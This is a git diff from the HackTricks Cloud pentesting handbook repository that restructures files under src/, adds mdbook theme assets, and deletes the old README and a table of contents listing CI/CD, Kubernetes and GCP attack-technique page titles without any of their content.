 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/README.md
 create mode 100644 src/pentesting-cloud/gcp-security/gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
 create mode 100644 src/pentesting-cloud/ibm-cloud-pentesting/README.md
 create mode 100644 src/pentesting-cloud/ibm-cloud-pentesting/ibm-basic-information.md
 rename {pentesting-cloud => src/pentesting-cloud}/ibm-cloud-pentesting/ibm-hyper-protect-crypto-services.md (54%)
 rename {pentesting-cloud => src/pentesting-cloud}/ibm-cloud-pentesting/ibm-hyper-protect-virtual-server.md (62%)
 create mode 100644 src/pentesting-cloud/kubernetes-security/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md (71%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md (80%)
 create mode 100644 src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md (72%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/exposing-services-in-kubernetes.md (67%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-basics.md (71%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-enumeration.md (70%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-external-secrets-operator.md (83%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-hardening/README.md (66%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md (83%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-kyverno/README.md (100%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md (78%)
 create mode 100644 src/pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-network-attacks.md (61%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-opa-gatekeeper/README.md (100%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md (79%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-pivoting-to-clouds.md (64%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-role-based-access-control-rbac.md (62%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/kubernetes-validatingwebhookconfiguration.md (80%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/pentesting-kubernetes-services/README.md (70%)
 rename {pentesting-cloud => src/pentesting-cloud}/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md (55%)
 create mode 100644 src/pentesting-cloud/openshift-pentesting/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-basic-information.md (66%)
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-jenkins/README.md (93%)
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-jenkins/openshift-jenkins-build-overrides.md (100%)
 create mode 100644 src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md (78%)
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md (71%)
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md (92%)
 rename {pentesting-cloud => src/pentesting-cloud}/openshift-pentesting/openshift-scc.md (82%)
 rename {pentesting-cloud => src/pentesting-cloud}/pentesting-cloud-methodology.md (71%)
 create mode 100644 src/pentesting-cloud/workspace-security/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/workspace-security/gws-google-platforms-phishing/README.md (56%)
 create mode 100644 src/pentesting-cloud/workspace-security/gws-google-platforms-phishing/gws-app-scripts.md
 create mode 100644 src/pentesting-cloud/workspace-security/gws-persistence.md
 rename {pentesting-cloud => src/pentesting-cloud}/workspace-security/gws-post-exploitation.md (56%)
 create mode 100644 src/pentesting-cloud/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/README.md
 rename {pentesting-cloud => src/pentesting-cloud}/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcds-google-cloud-directory-sync.md (65%)
 rename {pentesting-cloud => src/pentesting-cloud}/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gcpw-google-credential-provider-for-windows.md (80%)
 rename {pentesting-cloud => src/pentesting-cloud}/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gps-google-password-sync.md (54%)
 rename {pentesting-cloud => src/pentesting-cloud}/workspace-security/gws-workspace-sync-attacks-gcpw-gcds-gps-directory-sync-with-ad-and-entraid/gws-admin-directory-sync.md (57%)
 create mode 100644 theme/book.js
 create mode 100644 theme/css/chrome.css
 create mode 100644 theme/css/general.css
 create mode 100644 theme/css/print.css
 create mode 100644 theme/css/variables.css
 create mode 100644 theme/favicon.png
 create mode 100644 theme/favicon.svg
 create mode 100644 theme/fonts/OPEN-SANS-LICENSE.txt
 create mode 100644 theme/fonts/SOURCE-CODE-PRO-LICENSE.txt
 create mode 100644 theme/fonts/fonts.css
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-300.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-300italic.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-600.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-600italic.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-700.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-700italic.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-800.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-800italic.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-italic.woff2
 create mode 100644 theme/fonts/open-sans-v17-all-charsets-regular.woff2
 create mode 100644 theme/fonts/source-code-pro-v11-all-charsets-500.woff2
 create mode 100644 theme/highlight.css
 create mode 100644 theme/highlight.js
 create mode 100644 theme/ht_searcher.js
 create mode 100644 theme/index.hbs
 create mode 100644 theme/pagetoc.css
 create mode 100644 theme/pagetoc.js
 create mode 100644 theme/sponsor.js
 create mode 100644 theme/tabs.css
 create mode 100644 theme/tabs.js
 create mode 100644 theme/toc.js.hbs

diff --git a/.gitbook/assets/empty.zip b/.gitbook/assets/empty.zip
deleted file mode 100644
index 15cb0ecb3e219d1701294bfdf0fe3f5cb5d208e7..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 22
NcmWIWW@Tf*000g10H*)|

diff --git a/.gitignore b/.gitignore
index 6826262d3..7fa947732 100644
--- a/.gitignore
+++ b/.gitignore
@@ -30,4 +30,9 @@ Icon
 .AppleDesktop
 Network Trash Folder
 Temporary Items
-.apdisk
\ No newline at end of file
+.apdisk
+
+#Mdbook
+book
+book/*
+hacktricks-preprocessor.log
diff --git a/README.md b/README.md
deleted file mode 100644
index 17db20c7d..000000000
--- a/README.md
+++ /dev/null
@@ -1,67 +0,0 @@
-# HackTricks Cloud
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src=".gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src=".gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
-
-<figure><img src=".gitbook/assets/cloud.gif" alt=""><figcaption></figcaption></figure>
-
-_Hacktricks logos & motion designed by_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
-
-{% hint style="success" %}
-Welcome to the page where you will find each **hacking trick/technique/whatever related to CI/CD & Cloud** I have learnt in **CTFs**, **real** life **environments**, **researching**, and **reading** researches and news.
-{% endhint %}
-
-### **Pentesting CI/CD Methodology**
-
-**In the HackTricks CI/CD Methodology you will find how to pentest infrastructure related to CI/CD activities.** Read the following page for an **introduction:**
-
-{% content-ref url="pentesting-ci-cd/pentesting-ci-cd-methodology.md" %}
-[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
-{% endcontent-ref %}
-
-### Pentesting Cloud Methodology
-
-**In the HackTricks Cloud Methodology you will find how to pentest cloud environments.** Read the following page for an **introduction:**
-
-{% content-ref url="pentesting-cloud/pentesting-cloud-methodology.md" %}
-[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
-{% endcontent-ref %}
-
-### License & Disclaimer
-
-**Check them in:**
-
-{% content-ref url="https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq" %}
-[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
-{% endcontent-ref %}
-
-### Github Stats
-
-![HackTricks Cloud Github Stats](https://repobeats.axiom.co/api/embed/1dfdbb0435f74afa9803cd863f01daac17cda336.svg)
-
-{% hint style="success" %}
-Learn & practice AWS Hacking:<img src=".gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src=".gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src=".gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src=".gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-
-<details>
-
-<summary>Support HackTricks</summary>
-
-* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
-* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-
-</details>
-{% endhint %}
diff --git a/SUMMARY.md b/SUMMARY.md
deleted file mode 100644
index 921ed2d3d..000000000
--- a/SUMMARY.md
+++ /dev/null
@@ -1,503 +0,0 @@
-# Table of contents
-
-## 👽 Welcome!
-
-* [HackTricks Cloud](README.md)
-* [About the Author](https://book.hacktricks.xyz/welcome/about-the-author)
-* [HackTricks Values & faq](https://book.hacktricks.xyz/welcome/hacktricks-values-and-faq)
-
-## 🏭 Pentesting CI/CD
-
-* [Pentesting CI/CD Methodology](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
-* [Github Security](pentesting-ci-cd/github-security/README.md)
-  * [Abusing Github Actions](pentesting-ci-cd/github-security/abusing-github-actions/README.md)
-    * [Gh Actions - Artifact Poisoning](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-artifact-poisoning.md)
-    * [GH Actions - Cache Poisoning](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md)
-    * [Gh Actions - Context Script Injections](pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md)
-  * [Accessible Deleted Data in Github](pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md)
-  * [Basic Github Information](pentesting-ci-cd/github-security/basic-github-information.md)
-* [Gitea Security](pentesting-ci-cd/gitea-security/README.md)
-  * [Basic Gitea Information](pentesting-ci-cd/gitea-security/basic-gitea-information.md)
-* [Concourse Security](pentesting-ci-cd/concourse-security/README.md)
-  * [Concourse Architecture](pentesting-ci-cd/concourse-security/concourse-architecture.md)
-  * [Concourse Lab Creation](pentesting-ci-cd/concourse-security/concourse-lab-creation.md)
-  * [Concourse Enumeration & Attacks](pentesting-ci-cd/concourse-security/concourse-enumeration-and-attacks.md)
-* [CircleCI Security](pentesting-ci-cd/circleci-security.md)
-* [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
-  * [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
-* [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
-  * [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
-  * [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)
-  * [Jenkins RCE Creating/Modifying Project](pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-project.md)
-  * [Jenkins RCE Creating/Modifying Pipeline](pentesting-ci-cd/jenkins-security/jenkins-rce-creating-modifying-pipeline.md)
-  * [Jenkins Arbitrary File Read to RCE via "Remember Me"](pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md)
-  * [Jenkins Dumping Secrets from Groovy](pentesting-ci-cd/jenkins-security/jenkins-dumping-secrets-from-groovy.md)
-* [Apache Airflow Security](pentesting-ci-cd/apache-airflow-security/README.md)
-  * [Airflow Configuration](pentesting-ci-cd/apache-airflow-security/airflow-configuration.md)
-  * [Airflow RBAC](pentesting-ci-cd/apache-airflow-security/airflow-rbac.md)
-* [Terraform Security](pentesting-ci-cd/terraform-security.md)
-* [Atlantis Security](pentesting-ci-cd/atlantis-security.md)
-* [Cloudflare Security](pentesting-ci-cd/cloudflare-security/README.md)
-  * [Cloudflare Domains](pentesting-ci-cd/cloudflare-security/cloudflare-domains.md)
-  * [Cloudflare Zero Trust Network](pentesting-ci-cd/cloudflare-security/cloudflare-zero-trust-network.md)
-* [Okta Security](pentesting-ci-cd/okta-security/README.md)
-  * [Okta Hardening](pentesting-ci-cd/okta-security/okta-hardening.md)
-* [Serverless.com Security](pentesting-ci-cd/serverless.com-security.md)
-* [Supabase Security](pentesting-ci-cd/supabase-security.md)
-* [Ansible Tower / AWX / Automation controller Security](pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md)
-* [Vercel Security](pentesting-ci-cd/vercel-security.md)
-* [TODO](pentesting-ci-cd/todo.md)
-
-## ⛈️ Pentesting Cloud
-
-* [Pentesting Cloud Methodology](pentesting-cloud/pentesting-cloud-methodology.md)
-* [Kubernetes Pentesting](pentesting-cloud/kubernetes-security/README.md)
-  * [Kubernetes Basics](pentesting-cloud/kubernetes-security/kubernetes-basics.md)
-  * [Pentesting Kubernetes Services](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/README.md)
-    * [Kubelet Authentication & Authorization](pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md)
-  * [Exposing Services in Kubernetes](pentesting-cloud/kubernetes-security/exposing-services-in-kubernetes.md)
-  * [Attacking Kubernetes from inside a Pod](pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md)
-  * [Kubernetes Enumeration](pentesting-cloud/kubernetes-security/kubernetes-enumeration.md)
-  * [Kubernetes Role-Based Access Control(RBAC)](pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md)
-  * [Abusing Roles/ClusterRoles in Kubernetes](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md)
-    * [Pod Escape Privileges](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/pod-escape-privileges.md)
-    * [Kubernetes Roles Abuse Lab](pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/kubernetes-roles-abuse-lab.md)
-  * [Kubernetes Namespace Escalation](pentesting-cloud/kubernetes-security/kubernetes-namespace-escalation.md)
-  * [Kubernetes External Secret Operator](pentesting-cloud/kubernetes-security/kubernetes-external-secrets-operator.md)
-  * [Kubernetes Pivoting to Clouds](pentesting-cloud/kubernetes-security/kubernetes-pivoting-to-clouds.md)
-  * [Kubernetes Network Attacks](pentesting-cloud/kubernetes-security/kubernetes-network-attacks.md)
-  * [Kubernetes Hardening](pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md)
-    * [Kubernetes SecurityContext(s)](pentesting-cloud/kubernetes-security/kubernetes-hardening/kubernetes-securitycontext-s.md)
-  * [Kubernetes OPA Gatekeeper](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/README.md)
-    * [Kubernetes OPA Gatekeeper bypass](pentesting-cloud/kubernetes-security/kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md)
-  * [Kubernetes Kyverno](pentesting-cloud/kubernetes-security/kubernetes-kyverno/README.md)
-    * [Kubernetes Kyverno bypass](pentesting-cloud/kubernetes-security/kubernetes-kyverno/kubernetes-kyverno-bypass.md)
-  * [Kubernetes ValidatingWebhookConfiguration](pentesting-cloud/kubernetes-security/kubernetes-validatingwebhookconfiguration.md)
-* [GCP Pentesting](pentesting-cloud/gcp-security/README.md)
-  * [GCP - Basic Information](pentesting-cloud/gcp-security/gcp-basic-information/README.md)
-    * [GCP - Federation Abuse](pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md)
-  * [GCP - Permissions for a Pentest](pentesting-cloud/gcp-security/gcp-permissions-for-a-pentest.md)
-  * [GCP - Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/README.md)
-    * [GCP - App Engine Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-app-engine-post-exploitation.md)
-    * [GCP - Artifact Registry Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-artifact-registry-post-exploitation.md)
-    * [GCP - Cloud Build Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-build-post-exploitation.md)
-    * [GCP - Cloud Functions Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-functions-post-exploitation.md)
-    * [GCP - Cloud Run Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-run-post-exploitation.md)
-    * [GCP - Cloud Shell Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-shell-post-exploitation.md)
-    * [GCP - Cloud SQL Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md)
-    * [GCP - Compute Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-compute-post-exploitation.md)
-    * [GCP - Filestore Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-filestore-post-exploitation.md)
-    * [GCP - IAM Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-iam-post-exploitation.md)
-    * [GCP - KMS Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-kms-post-exploitation.md)
-    * [GCP - Logging Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md)
-    * [GCP - Monitoring Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-monitoring-post-exploitation.md)
-    * [GCP - Pub/Sub Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md)
-    * [GCP - Secretmanager Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-secretmanager-post-exploitation.md)
-    * [GCP - Security Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-security-post-exploitation.md)
-    * [GCP - Workflows Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-workflows-post-exploitation.md)
-    * [GCP - Storage Post Exploitation](pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md)
-  * [GCP - Privilege Escalation](pentesting-cloud/gcp-security/gcp-privilege-escalation/README.md)
-    * [GCP - Apikeys Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-apikeys-privesc.md)
-    * [GCP - AppEngine Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md)
-    * [GCP - Artifact Registry Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-artifact-registry-privesc.md)
-    * [GCP - Batch Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-batch-privesc.md)
-    * [GCP - BigQuery Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-bigquery-privesc.md)
-    * [GCP - ClientAuthConfig Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-clientauthconfig-privesc.md)
-    * [GCP - Cloudbuild Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudbuild-privesc.md)
-    * [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
-    * [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
-    * [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
-    * [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
-      * [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
-    * [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)
-    * [GCP - Container Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md)
-    * [GCP - Deploymentmaneger Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-deploymentmaneger-privesc.md)
-    * [GCP - IAM Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-iam-privesc.md)
-    * [GCP - KMS Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-kms-privesc.md)
-    * [GCP - Orgpolicy Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-orgpolicy-privesc.md)
-    * [GCP - Pubsub Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-pubsub-privesc.md)
-    * [GCP - Resourcemanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-resourcemanager-privesc.md)
-    * [GCP - Run Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-run-privesc.md)
-    * [GCP - Secretmanager Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-secretmanager-privesc.md)
-    * [GCP - Serviceusage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-serviceusage-privesc.md)
-    * [GCP - Sourcerepos Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-sourcerepos-privesc.md)
-    * [GCP - Storage Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md)
-    * [GCP - Workflows Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-workflows-privesc.md)
-    * [GCP - Generic Permissions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-misc-perms-privesc.md)
-    * [GCP - Network Docker Escape](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-network-docker-escape.md)
-    * [GCP - local privilege escalation ssh pivoting](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md)
-  * [GCP - Persistence](pentesting-cloud/gcp-security/gcp-persistence/README.md)
-    * [GCP - API Keys Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-api-keys-persistence.md)
-    * [GCP - App Engine Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-app-engine-persistence.md)
-    * [GCP - Artifact Registry Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-artifact-registry-persistence.md)
-    * [GCP - BigQuery Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-bigquery-persistence.md)
-    * [GCP - Cloud Functions Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-functions-persistence.md)
-    * [GCP - Cloud Run Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-run-persistence.md)
-    * [GCP - Cloud Shell Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-shell-persistence.md)
-    * [GCP - Cloud SQL Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-cloud-sql-persistence.md)
-    * [GCP - Compute Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-compute-persistence.md)
-    * [GCP - Dataflow Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-dataflow-persistence.md)
-    * [GCP - Filestore Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-filestore-persistence.md)
-    * [GCP - Logging Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-logging-persistence.md)
-    * [GCP - Secret Manager Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-secret-manager-persistence.md)
-    * [GCP - Storage Persistence](pentesting-cloud/gcp-security/gcp-persistence/gcp-storage-persistence.md)
-    * [GCP - Token Persistance](pentesting-cloud/gcp-security/gcp-persistence/gcp-non-svc-persistance.md)
-  * [GCP - Services](pentesting-cloud/gcp-security/gcp-services/README.md)
-    * [GCP - AI Platform Enum](pentesting-cloud/gcp-security/gcp-services/gcp-ai-platform-enum.md)
-    * [GCP - API Keys Enum](pentesting-cloud/gcp-security/gcp-services/gcp-api-keys-enum.md)
-    * [GCP - App Engine Enum](pentesting-cloud/gcp-security/gcp-services/gcp-app-engine-enum.md)
-    * [GCP - Artifact Registry Enum](pentesting-cloud/gcp-security/gcp-services/gcp-artifact-registry-enum.md)
-    * [GCP - Batch Enum](pentesting-cloud/gcp-security/gcp-services/gcp-batch-enum.md)
-    * [GCP - Bigquery Enum](pentesting-cloud/gcp-security/gcp-services/gcp-bigquery-enum.md)
-    * [GCP - Bigtable Enum](pentesting-cloud/gcp-security/gcp-services/gcp-bigtable-enum.md)
-    * [GCP - Cloud Build Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-build-enum.md)
-    * [GCP - Cloud Functions Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-functions-enum.md)
-    * [GCP - Cloud Run Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-run-enum.md)
-    * [GCP - Cloud Shell Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-shell-enum.md)
-    * [GCP - Cloud SQL Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-sql-enum.md)
-    * [GCP - Cloud Scheduler Enum](pentesting-cloud/gcp-security/gcp-services/gcp-cloud-scheduler-enum.md)
-    * [GCP - Compute Enum](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/README.md)
-      * [GCP - Compute Instances](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-compute-instance.md)
-      * [GCP - VPC & Networking](pentesting-cloud/gcp-security/gcp-services/gcp-compute-instances-enum/gcp-vpc-and-networking.md)
-    * [GCP - Composer Enum](pentesting-cloud/gcp-security/gcp-services/gcp-composer-enum.md)
-    * [GCP - Containers & GKE Enum](pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md)
-    * [GCP - DNS Enum](pentesting-cloud/gcp-security/gcp-services/gcp-dns-enum.md)
-    * [GCP - Filestore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-filestore-enum.md)
-    * [GCP - Firebase Enum](pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.md)
-    * [GCP - Firestore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-firestore-enum.md)
-    * [GCP - IAM, Principals & Org Policies Enum](pentesting-cloud/gcp-security/gcp-services/gcp-iam-and-org-policies-enum.md)
-    * [GCP - KMS Enum](pentesting-cloud/gcp-security/gcp-services/gcp-kms-enum.md)
-    * [GCP - Logging Enum](pentesting-cloud/gcp-security/gcp-services/gcp-logging-enum.md)
-    * [GCP - Memorystore Enum](pentesting-cloud/gcp-security/gcp-services/gcp-memorystore-enum.md)
-    * [GCP - Monitoring Enum](pentesting-cloud/gcp-security/gcp-services/gcp-monitoring-enum.md)
-    * [GCP - Pub/Sub Enum](pentesting-cloud/gcp-security/gcp-services/gcp-pub-sub.md)
-    * [GCP - Secrets Manager Enum](pentesting-cloud/gcp-security/gcp-services/gcp-secrets-manager-enum.md)
-    * [GCP - Security Enum](pentesting-cloud/gcp-security/gcp-services/gcp-security-enum.md)
